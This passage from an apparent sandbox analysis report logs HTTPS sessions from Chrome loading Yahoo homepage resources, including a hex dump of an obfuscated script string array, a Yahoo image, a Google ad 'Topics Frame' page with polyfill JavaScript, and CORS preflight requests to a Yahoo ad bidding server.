27 6a 4d 66 54 43 64 53 3d 27 2c 27 7a 78 6a 59 42 33 69 3d 27 2c 27 71 78 62 57 6c 4e 62 31 44 61 3d 3d 27 2c 27 43 32 76 48 43 Data Ascii: y2XHC3noyw1L','jMX0oW==','C2vLzfrHzW==','CMvMzxjYzxi=','jNu9','CgfYzw50tM9Kzq==','t0jo','DMfSDwu=','nc4Yns41lwfX','yxbPvxnLCNnJCMLWDa==','Chv0','qKftrq==','CNvUvgfYz2v0Aw5Nqvbo','x19WCM90B19F','CMvZAwr1ywXive1m','jMfTCdS=','zxjYB3i=','qxbWlNb1Da==','C2vHC
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 75 3d 27 2c 27 77 66 62 6e 6c 4b 30 3d 27 2c 27 77 30 76 46 71 31 6e 71 78 73 61 3d 27 2c 27 79 77 58 53 42 33 43 54 7a 4d 39 59 42 78 6d 47 79 77 58 53 42 33 43 54 43 67 39 50 42 4e 72 4c 43 49 31 53 42 32 6e 52 69 67 66 53 42 67 39 33 6c 78 62 56 43 68 76 57 43 59 62 48 42 67 58 56 44 59 31 57 42 33 62 31 43 68 6d 54 44 67 38 54 7a 78 6e 4a 79 78 62 4c 6c 78 6e 48 42 4d 72 49 42 33 47 47 79 77 58 53 42 33 43 54 43 32 66 54 7a 73 31 56 43 4d 4c 4e 41 77 34 47 79 77 58 53 42 33 43 54 43 32 6e 59 41 78 62 30 43 59 62 48 42 67 58 56 44 59 31 30 42 33 61 54 42 4d 66 32 41 77 44 48 44 67 4c 56 42 49 31 49 45 73 31 31 43 32 76 59 6c 77 66 4a 44 67 4c 32 79 78 72 50 42 32 34 3d 27 2c 27 75 4d 76 57 42 33 6a 30 41 77 35 4e 74 32 6a 5a 7a 78 6a 32 7a 78 69 3d 27 Data Ascii: u=','wfbnlK0=','w0vFq1nqxsa=','ywXSB3CTzM9YBxmGywXSB3CTCg9PBNrLCI1SB2nRigfSBg93lxbVChvWCYbHBgXVDY1WB3b1ChmTDg8TzxnJyxbLlxnHBMrIB3GGywXSB3CTC2fTzs1VCMLNAw4GywXSB3CTC2nYAxb0CYbHBgXVDY10B3aTBMf2AwDHDgLVBI1IEs11C2vYlwfJDgL2yxrPB24=','uMvWB3j0Aw5Nt2jZzxj2zxi='
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 74 74 31 76 73 71 30 75 47 76 66 6a 62 71 30 53 47 76 30 6a 73 69 66 6e 75 77 75 58 66 69 66 72 6a 76 65 58 66 27 2c 27 76 76 44 71 27 2c 27 79 32 7a 4e 6c 77 76 32 79 77 57 3d 27 2c 27 43 4d 76 5a 43 67 39 55 43 32 76 75 7a 78 48 30 27 2c 27 43 4d 76 53 42 32 66 4b 27 2c 27 42 77 76 30 79 71 3d 3d 27 2c 27 77 30 76 73 75 4c 39 65 78 30 4c 65 77 66 30 3d 27 2c 27 6b 67 7a 31 42 4d 6e 30 41 77 39 55 6b 68 44 50 42 4d 72 56 44 59 58 5a 7a 77 58 4d 6c 68 62 48 43 4d 76 55 44 63 58 30 42 33 61 53 7a 67 39 4a 44 77 31 4c 42 4e 71 53 42 67 39 4a 79 78 72 50 42 32 34 50 45 57 3d 3d 27 2c 27 69 63 30 54 70 47 3d 3d 27 2c 27 79 77 72 4b 27 2c 27 43 32 39 59 44 61 3d 3d 27 2c 27 76 32 66 59 42 4d 4c 55 7a 33 6d 3d 27 2c 27 6c 4b 4c 55 41 4d 76 4a 44 67 76 4b 27 2c Data Ascii: tt1vsq0uGvfjbq0SGv0jsifnuwuXfifrjveXf','vvDq','y2zNlwv2ywW=','CMvZCg9UC2vuzxH0','CMvSB2fK','Bwv0yq==','w0vsuL9ex0Lewf0=','kgz1BMn0Aw9UkhDPBMrVDYXZzwXMlhbHCMvUDcX0B3aSzg9JDw1LBNqSBg9JyxrPB24PEW==','ic0TpG==','ywrK','C29YDa==','v2fYBMLUz3m=','lKLUAMvJDgvK',
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 41 77 7a 59 79 77 31 4c 6f 49 61 3d 27 2c 27 7a 4d 4c 59 43 33 72 64 41 67 4c 53 7a 61 3d 3d 27 2c 27 79 32 66 53 42 63 62 30 42 59 62 4c 44 4d 66 53 6b 63 4b 47 79 4d 58 56 79 32 54 4c 7a 63 62 49 45 73 62 64 75 31 61 3d 27 2c 27 73 75 7a 73 71 75 31 66 27 2c 27 43 67 66 4e 7a 78 7a 50 7a 78 43 3d 27 2c 27 7a 67 4c 5a 79 77 6a 53 7a 77 71 3d 27 2c 27 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 27 2c 27 79 4d 58 56 79 47 3d 3d 27 2c 27 7a 32 76 30 72 78 7a 4c 42 4e 72 5a 27 2c 27 43 4d 76 33 43 4d 4c 30 7a 71 3d 3d 27 2c 27 42 4d 39 4b 7a 75 35 48 42 77 75 3d 27 2c 27 7a 4d 76 30 79 32 47 3d 27 2c 27 7a 78 7a 30 6c 77 48 32 79 77 71 3d 27 2c 27 42 77 4c 55 27 2c 27 70 67 39 49 42 4a 35 30 45 68 71 39 27 2c 27 73 77 35 50 44 63 34 3d 27 2c 27 72 30 76 Data Ascii: AwzYyw1LoIa=','zMLYC3rdAgLSza==','y2fSBcb0BYbLDMfSkcKGyMXVy2TLzcbIEsbdu1a=','suzsqu1f','CgfNzxzPzxC=','zgLZywjSzwq=','y29UC3rYDwn0B3i=','yMXVyG==','z2v0rxzLBNrZ','CMv3CML0zq==','BM9Kzu5HBwu=','zMv0y2G=','zxz0lwH2ywq=','BwLU','pg9IBJ50Ehq9','sw5PDc4=','r0v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49938	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	620	OUT	GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: NPqqN50PMRslEsDUpVt8Ko33yYq5XRTN0rYi0UYY/T7O8FcNhmxzn+5/oCFHzWeRPGN5H+JNDCE= x-amz-request-id: PR5XZS60JD4X5FKA Date: Mon, 01 Jan 2024 05:39:46 GMT Last-Modified: Thu, 08 Sep 2022 20:32:20 GMT ETag: "d0e45188f6a8f2e8f2528e762fe55d33" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2331 Referrer-Policy: no-referrer-when-downgrade Age: 841649 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 22 08 03 00 00 00 56 7d a4 84 00 00 00 7b 50 4c 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 78 1c b0 00 00 00 28 74 52 4e 53 00 05 fa f5 21 0d 6b 36 c0 13 e0 4c b1 b6 e8 d7 1b 7f 85 ac 29 c5 8c 2e a7 92 59 a1 d0 44 ca ec 9b 71 3e ba 77 64 53 5f 87 5f b6 44 00 00 08 27 49 44 41 54 68 de e5 59 e9 ba 9a 30 10 4d 80 b0 c8 a2 08 2e b8 a1 e2 92 f7 7f c2 9e 99 21 88 Data Ascii: PNGIHDR"V}{PLTEx(tRNS!k6L).YDq>wdS__D'IDAThY0M.!
2024-01-10 23:27:14 UTC	1031	IN	Data Raw: d7 f0 ae 4a 35 6c 3b 21 62 45 22 6a a2 e5 52 40 35 1a 72 d3 2f 80 21 32 68 51 79 86 88 be 38 65 36 12 d3 86 d5 5b 3c aa f8 eb fd 5f bf 05 2c 8d 69 8e a7 cc c0 6f 80 5f 20 e9 12 f1 dd e1 1e 12 dd 7b 87 6a a0 da 94 cd f1 d8 4c df 02 7e b4 01 9a 0f e5 b2 50 89 8c 2b 01 be 0b e0 ad 2c c2 33 85 5c d2 ec 15 70 48 41 b2 54 03 1d 48 4f ca 9c b3 cf 62 cc 18 1f 17 b1 57 c6 3b c0 5a b3 9d 3a 18 9f 8d ae 4a 72 48 4d 4a e2 a5 19 db dd f7 f9 12 1b 54 03 cf fb 0e e0 c5 48 86 e7 81 e5 be 97 08 71 67 3b 80 f7 da 96 fc e0 d1 96 b8 22 73 de 0b 61 94 a9 57 87 7e 65 bc 07 cc b9 31 49 3d 4f a4 47 58 b1 28 39 1a 0d 03 1e 53 46 c5 c0 fe 14 b0 50 29 80 4b 59 24 65 dc 9e 25 e5 07 92 68 3a d8 7c 7c e5 f6 dc 0a 82 ec cf d4 cf 3c cc b1 62 7d d4 68 ba 49 4a ea f9 05 38 01 03 46 b2 75 Data Ascii: J5l;!bE"jR@5r/!2hQy8e6[<_,io_ {jL~P+,3\pHATHObW;Z:JrHMJTHqg;"saW~e1I=OGX(9SFP)KY$e%h:\|\|<b}hIJ8Fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49934	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	818	OUT	GET /static/topics/topics_frame.html HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	707	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Content-Length: 103219 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 10 Jan 2024 23:27:14 GMT Expires: Thu, 11 Jan 2024 00:17:14 GMT Cache-Control: public, max-age=3000, stale-while-revalidate=3600 Last-Modified: Mon, 08 Jan 2024 20:46:09 GMT Content-Type: text/html Vary: Accept-Encoding Age: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:14 UTC	545	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 6f 70 69 63 73 20 46 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <title>Topics Frame</title> <meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iO
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 Data Ascii: eturn b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThi
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 70 5f 73 79 6d 62 6f 6c 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 67 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 67 29 7d 3b 72 65 74 75 72 6e 20 65 7d 2c 22 65 73 36 22 29 3b 77 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 72 65 74 75 72 6e 20 61 3b 61 3d 28 30 2c 71 2e 53 79 6d 62 6f 6c 29 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 Data Ascii: p_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(g){if(this instanceof e)throw new TypeError("Symbol is not a constructor");return new b(c+(g\|\|"")+"_"+d++,g)};return e},"es6");w("Symbol.iterator",function(a){if(a)return a;a=(0,q.Symbol)("Symbol.itera
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 6d 65 6e 74 73 5b 63 5d 3b 69 66 28 64 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 6c 61 28 64 2c 65 29 26 26 28 61 5b 65 5d 3d 64 5b 65 5d 29 7d 72 65 74 75 72 6e 20 61 7d 3b 77 28 22 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 6d 61 7d 2c 22 65 73 36 22 29 3b 76 61 72 20 6e 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 6f 61 3b 69 66 28 66 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 76 28 Data Ascii: ments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};w("Object.assign",function(a){return a\|\|ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},oa;if(fa&&"function"==typeof v(
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 62 29 7b 75 61 28 61 2e 67 29 3b 76 61 72 20 63 3d 61 2e 67 2e 69 3b 69 66 28 63 29 72 65 74 75 72 6e 20 7a 61 28 61 2c 22 72 65 74 75 72 6e 22 69 6e 20 63 3f 63 5b 22 72 65 74 75 72 6e 22 5d 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 64 2c 64 6f 6e 65 3a 21 30 7d 7d 2c 62 2c 61 2e 67 2e 72 65 74 75 72 6e 29 3b 61 2e 67 2e 72 65 74 75 72 6e 28 62 29 3b 72 65 74 75 72 6e 20 41 61 28 61 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 74 72 79 7b 76 61 72 20 65 3d 62 2e 63 61 6c 6c 28 61 2e 67 2e 69 2c 63 29 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 62 6a 65 63 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 74 65 72 61 74 6f 72 20 72 65 73 75 6c 74 20 22 Data Ascii: b){ua(a.g);var c=a.g.i;if(c)return za(a,"return"in c?c["return"]:function(d){return{value:d,done:!0}},b,a.g.return);a.g.return(b);return Aa(a)},za=function(a,b,c,d){try{var e=b.call(a.g.i,c);if(!(e instanceof Object))throw new TypeError("Iterator result "
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 62 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 52 65 66 6c 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 73 61 3f 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 73 61 28 62 2c 63 29 2c 21 30 7d 63 61 74 63 68 28 64 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3a 6e 75 6c 6c 7d 2c 22 65 73 36 22 29 3b 77 28 22 50 72 6f 6d 69 73 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 66 29 7b 72 65 74 75 72 6e 20 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 3f 66 3a 6e 65 77 20 Data Ascii: .length;c++)b[c-a]=arguments[c];return b};w("Reflect.setPrototypeOf",function(a){return a?a:sa?function(b,c){try{return sa(b,c),!0}catch(d){return!1}}:null},"es6");w("Promise",function(a){function b(){this.g=null}function c(f){return f instanceof e?f:new
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 6e 7d 63 61 74 63 68 28 6b 29 7b 74 68 69 73 2e 73 28 6b 29 3b 72 65 74 75 72 6e 7d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 3f 74 68 69 73 2e 43 61 28 68 2c 66 29 3a 74 68 69 73 2e 46 28 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 58 28 32 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 46 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 58 28 31 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 58 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 30 21 3d 74 68 69 73 2e 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 73 65 74 74 6c 65 28 22 2b 66 2b 22 2c 20 22 2b 68 2b 22 29 3a 20 50 72 6f 6d 69 73 65 20 61 6c 72 65 61 64 79 20 73 65 74 74 6c Data Ascii: n}catch(k){this.s(k);return}"function"==typeof h?this.Ca(h,f):this.F(f)};e.prototype.s=function(f){this.X(2,f)};e.prototype.F=function(f){this.X(1,f)};e.prototype.X=function(f,h){if(0!=this.h)throw Error("Cannot settle("+f+", "+h+"): Promise already settl
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 72 20 6c 2c 6e 2c 70 3d 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 6c 3d 74 3b 6e 3d 72 7d 29 3b 74 68 69 73 2e 61 61 28 6b 28 66 2c 6c 29 2c 6b 28 68 2c 6e 29 29 3b 72 65 74 75 72 6e 20 70 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 76 6f 69 64 20 30 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 73 77 69 74 63 68 28 6c 2e 68 29 7b 63 61 73 65 20 31 3a 66 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 22 55 6e 65 78 70 65 63 74 65 64 20 Data Ascii: r l,n,p=new e(function(t,r){l=t;n=r});this.aa(k(f,l),k(h,n));return p};e.prototype.catch=function(f){return this.then(void 0,f)};e.prototype.aa=function(f,h){function k(){switch(l.h){case 1:f(l.i);break;case 2:h(l.i);break;default:throw Error("Unexpected
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 3b 69 66 28 66 29 7b 66 3d 79 28 66 29 3b 66 6f 72 28 76 61 72 20 68 3b 21 28 68 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 21 63 28 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 6c 61 28 66 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 63 61 28 66 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 6c 61 28 66 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 66 29 3b 66 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 Data Ascii: ;if(f){f=y(f);for(var h;!(h=f.next()).done;)h=h.value,this.set(h[0],h[1])}};g.prototype.set=function(f,h){if(!c(f))throw Error("Invalid WeakMap key");if(!la(f,d)){var k=new b;ca(f,d,{value:k})}if(!la(f,d))throw Error("WeakMap key fail: "+f);f[d][this.g]=h
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 61 64 3a 74 68 69 73 5b 31 5d 2c 6b 65 79 3a 68 2c 76 61 6c 75 65 3a 6b 7d 2c 6c 2e 6c 69 73 74 2e 70 75 73 68 28 6c 2e 41 29 2c 74 68 69 73 5b 31 5d 2e 48 2e 6e 65 78 74 3d 6c 2e 41 2c 74 68 69 73 5b 31 5d 2e 48 3d 6c 2e 41 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 41 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 41 2e 48 2e 6e 65 78 74 3d 68 2e 41 2e 6e 65 78 74 2c 68 2e 41 2e 6e 65 78 74 2e Data Ascii: ad:this[1],key:h,value:k},l.list.push(l.A),this[1].H.next=l.A,this[1].H=l.A,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.A&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.A.H.next=h.A.next,h.A.next.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	49929	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 0 Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Headers: X-Requested-With,Content-Type,X-Openrtb-Version Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49932	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	545	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
